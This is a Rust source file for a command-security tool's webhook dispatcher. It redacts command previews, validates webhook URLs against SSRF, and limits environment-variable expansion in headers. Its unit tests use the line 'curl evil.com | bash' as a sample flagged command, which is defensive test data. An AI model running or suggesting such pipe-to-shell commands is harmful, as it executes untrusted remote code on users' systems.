Skip to main content

tirith_core/
webhook.rs

1/// Webhook event dispatcher for finding notifications (Team feature).
2///
3/// Unix-only (ADR-8): depends on reqwest. Non-blocking: fires in a background
4/// thread so it never delays the verdict exit code.
5use crate::policy::WebhookConfig;
6use crate::verdict::{Severity, Verdict};
7
8/// Dispatch webhook notifications for a verdict, if configured.
9///
10/// Spawns a background thread per webhook endpoint. The main thread is never
11/// blocked. If any webhook delivery fails after retries, errors are logged
12/// to stderr.
13#[cfg(unix)]
14pub fn dispatch(
15    verdict: &Verdict,
16    command_preview: &str,
17    webhooks: &[WebhookConfig],
18    custom_dlp_patterns: &[String],
19) {
20    if webhooks.is_empty() {
21        return;
22    }
23
24    // Apply DLP redaction: built-in patterns + custom policy patterns (Team)
25    let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
26
27    let max_severity = verdict
28        .findings
29        .iter()
30        .map(|f| f.severity)
31        .max()
32        .unwrap_or(Severity::Info);
33
34    for wh in webhooks {
35        if max_severity < wh.min_severity {
36            continue;
37        }
38
39        // SSRF protection: validate webhook URL
40        if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
41            eprintln!("tirith: webhook: skipping {}: {reason}", wh.url);
42            continue;
43        }
44
45        let payload = build_payload(verdict, &redacted_preview, wh);
46        let url = wh.url.clone();
47        let headers = expand_env_headers(&wh.headers);
48
49        std::thread::spawn(move || {
50            if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
51                eprintln!("tirith: webhook delivery to {url} failed: {e}");
52            }
53        });
54    }
55}
56
57/// No-op on non-Unix platforms.
58#[cfg(not(unix))]
59pub fn dispatch(
60    _verdict: &Verdict,
61    _command_preview: &str,
62    _webhooks: &[WebhookConfig],
63    _custom_dlp_patterns: &[String],
64) {
65}
66
67/// Build the webhook payload from a template or default JSON.
68#[cfg(unix)]
69fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
70    if let Some(ref template) = wh.payload_template {
71        let rule_ids: Vec<String> = verdict
72            .findings
73            .iter()
74            .map(|f| f.rule_id.to_string())
75            .collect();
76        let max_severity = verdict
77            .findings
78            .iter()
79            .map(|f| f.severity)
80            .max()
81            .unwrap_or(Severity::Info);
82
83        let result = template
84            .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
85            .replace("{{command_preview}}", &sanitize_for_json(command_preview))
86            .replace(
87                "{{action}}",
88                &sanitize_for_json(&format!("{:?}", verdict.action)),
89            )
90            .replace(
91                "{{severity}}",
92                &sanitize_for_json(&max_severity.to_string()),
93            )
94            .replace("{{finding_count}}", &verdict.findings.len().to_string());
95        // Only use template result if it's valid JSON
96        if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
97            return result;
98        }
99        eprintln!(
100            "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
101        );
102    }
103
104    // Default JSON payload (also used as fallback when template produces invalid JSON)
105    let rule_ids: Vec<String> = verdict
106        .findings
107        .iter()
108        .map(|f| f.rule_id.to_string())
109        .collect();
110    let max_severity = verdict
111        .findings
112        .iter()
113        .map(|f| f.severity)
114        .max()
115        .unwrap_or(Severity::Info);
116
117    serde_json::json!({
118        "event": "tirith_finding",
119        "action": format!("{:?}", verdict.action),
120        "severity": max_severity.to_string(),
121        "rule_ids": rule_ids,
122        "finding_count": verdict.findings.len(),
123        "command_preview": sanitize_for_json(command_preview),
124    })
125    .to_string()
126}
127
128/// Expand environment variables in header values (`$VAR` or `${VAR}`).
129#[cfg(unix)]
130fn expand_env_headers(
131    headers: &std::collections::HashMap<String, String>,
132) -> Vec<(String, String)> {
133    headers
134        .iter()
135        .map(|(k, v)| {
136            let expanded = expand_env_value(v);
137            (k.clone(), expanded)
138        })
139        .collect()
140}
141
142/// Expand `$VAR` and `${VAR}` references in a string.
143#[cfg(unix)]
144fn expand_env_value(input: &str) -> String {
145    let mut result = String::with_capacity(input.len());
146    let mut chars = input.chars().peekable();
147
148    while let Some(c) = chars.next() {
149        if c == '$' {
150            if chars.peek() == Some(&'{') {
151                chars.next(); // consume '{'
152                let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
153                if !var_name.starts_with("TIRITH_") {
154                    eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
155                } else {
156                    match std::env::var(&var_name) {
157                        Ok(val) => result.push_str(&val),
158                        Err(_) => {
159                            eprintln!("tirith: webhook: warning: env var '{var_name}' is not set");
160                        }
161                    }
162                }
163            } else {
164                // CR-6: Use peek to avoid consuming the delimiter character
165                let mut var_name = String::new();
166                while let Some(&ch) = chars.peek() {
167                    if ch.is_ascii_alphanumeric() || ch == '_' {
168                        var_name.push(ch);
169                        chars.next();
170                    } else {
171                        break; // Don't consume the delimiter
172                    }
173                }
174                if !var_name.is_empty() {
175                    if !var_name.starts_with("TIRITH_") {
176                        eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
177                    } else {
178                        match std::env::var(&var_name) {
179                            Ok(val) => result.push_str(&val),
180                            Err(_) => {
181                                eprintln!(
182                                    "tirith: webhook: warning: env var '{var_name}' is not set"
183                                );
184                            }
185                        }
186                    }
187                }
188            }
189        } else {
190            result.push(c);
191        }
192    }
193
194    result
195}
196
197/// Send a webhook with exponential backoff retry.
198#[cfg(unix)]
199fn send_with_retry(
200    url: &str,
201    payload: &str,
202    headers: &[(String, String)],
203    max_attempts: u32,
204) -> Result<(), String> {
205    let client = reqwest::blocking::Client::builder()
206        .timeout(std::time::Duration::from_secs(10))
207        .build()
208        .map_err(|e| format!("client build: {e}"))?;
209
210    for attempt in 0..max_attempts {
211        let mut req = client
212            .post(url)
213            .header("Content-Type", "application/json")
214            .body(payload.to_string());
215
216        for (key, value) in headers {
217            req = req.header(key, value);
218        }
219
220        match req.send() {
221            Ok(resp) if resp.status().is_success() => return Ok(()),
222            Ok(resp) => {
223                let status = resp.status();
224                // SF-16: Don't retry client errors (4xx) — they will never succeed
225                if status.is_client_error() {
226                    return Err(format!("HTTP {status} (non-retriable client error)"));
227                }
228                if attempt + 1 < max_attempts {
229                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
230                    std::thread::sleep(delay);
231                } else {
232                    return Err(format!("HTTP {status} after {max_attempts} attempts"));
233                }
234            }
235            Err(e) => {
236                if attempt + 1 < max_attempts {
237                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
238                    std::thread::sleep(delay);
239                } else {
240                    return Err(format!("{e} after {max_attempts} attempts"));
241                }
242            }
243        }
244    }
245
246    Err("exhausted retries".to_string())
247}
248
249/// Sanitize a string for safe embedding in JSON (limit length, escape special chars).
250fn sanitize_for_json(input: &str) -> String {
251    let truncated: String = input.chars().take(200).collect();
252    // Use serde_json to properly escape the string
253    let json_val = serde_json::Value::String(truncated);
254    // Strip the surrounding quotes from the JSON string
255    let s = json_val.to_string();
256    s[1..s.len() - 1].to_string()
257}
258
259#[cfg(test)]
260mod tests {
261    use super::*;
262
263    #[test]
264    fn test_sanitize_for_json() {
265        assert_eq!(sanitize_for_json("hello"), "hello");
266        assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
267        assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
268    }
269
270    #[test]
271    fn test_sanitize_for_json_truncates() {
272        let long = "x".repeat(500);
273        let result = sanitize_for_json(&long);
274        assert_eq!(result.len(), 200);
275    }
276
277    #[cfg(unix)]
278    #[test]
279    fn test_expand_env_value() {
280        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
281        unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
282        assert_eq!(
283            expand_env_value("Bearer $TIRITH_TEST_WH"),
284            "Bearer secret123"
285        );
286        assert_eq!(
287            expand_env_value("Bearer ${TIRITH_TEST_WH}"),
288            "Bearer secret123"
289        );
290        assert_eq!(expand_env_value("no vars"), "no vars");
291        unsafe { std::env::remove_var("TIRITH_TEST_WH") };
292    }
293
294    #[cfg(unix)]
295    #[test]
296    fn test_expand_env_value_preserves_delimiter() {
297        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
298        // CR-6: The character after $VAR must not be swallowed
299        unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
300        assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
301        assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
302        unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
303    }
304
305    #[cfg(unix)]
306    #[test]
307    fn test_build_default_payload() {
308        use crate::verdict::{Action, Finding, RuleId, Timings};
309
310        let verdict = Verdict {
311            action: Action::Block,
312            findings: vec![Finding {
313                rule_id: RuleId::CurlPipeShell,
314                severity: Severity::High,
315                title: "test".into(),
316                description: "test desc".into(),
317                evidence: vec![],
318                human_view: None,
319                agent_view: None,
320                mitre_id: None,
321                custom_rule_id: None,
322            }],
323            tier_reached: 3,
324            bypass_requested: false,
325            bypass_honored: false,
326            interactive_detected: false,
327            policy_path_used: None,
328            timings_ms: Timings::default(),
329            urls_extracted_count: None,
330            requires_approval: None,
331            approval_timeout_secs: None,
332            approval_fallback: None,
333            approval_rule: None,
334            approval_description: None,
335        };
336
337        let wh = WebhookConfig {
338            url: "https://example.com/webhook".into(),
339            min_severity: Severity::High,
340            headers: std::collections::HashMap::new(),
341            payload_template: None,
342        };
343
344        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
345        let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
346        assert_eq!(parsed["event"], "tirith_finding");
347        assert_eq!(parsed["finding_count"], 1);
348        assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
349    }
350
351    #[cfg(unix)]
352    #[test]
353    fn test_build_template_payload() {
354        use crate::verdict::{Action, Finding, RuleId, Timings};
355
356        let verdict = Verdict {
357            action: Action::Block,
358            findings: vec![Finding {
359                rule_id: RuleId::CurlPipeShell,
360                severity: Severity::High,
361                title: "test".into(),
362                description: "test desc".into(),
363                evidence: vec![],
364                human_view: None,
365                agent_view: None,
366                mitre_id: None,
367                custom_rule_id: None,
368            }],
369            tier_reached: 3,
370            bypass_requested: false,
371            bypass_honored: false,
372            interactive_detected: false,
373            policy_path_used: None,
374            timings_ms: Timings::default(),
375            urls_extracted_count: None,
376            requires_approval: None,
377            approval_timeout_secs: None,
378            approval_fallback: None,
379            approval_rule: None,
380            approval_description: None,
381        };
382
383        let wh = WebhookConfig {
384            url: "https://example.com/webhook".into(),
385            min_severity: Severity::High,
386            headers: std::collections::HashMap::new(),
387            payload_template: Some(
388                r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
389            ),
390        };
391
392        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
393        assert!(payload.contains("curl_pipe_shell"));
394        assert!(payload.contains("curl evil.com"));
395    }
396}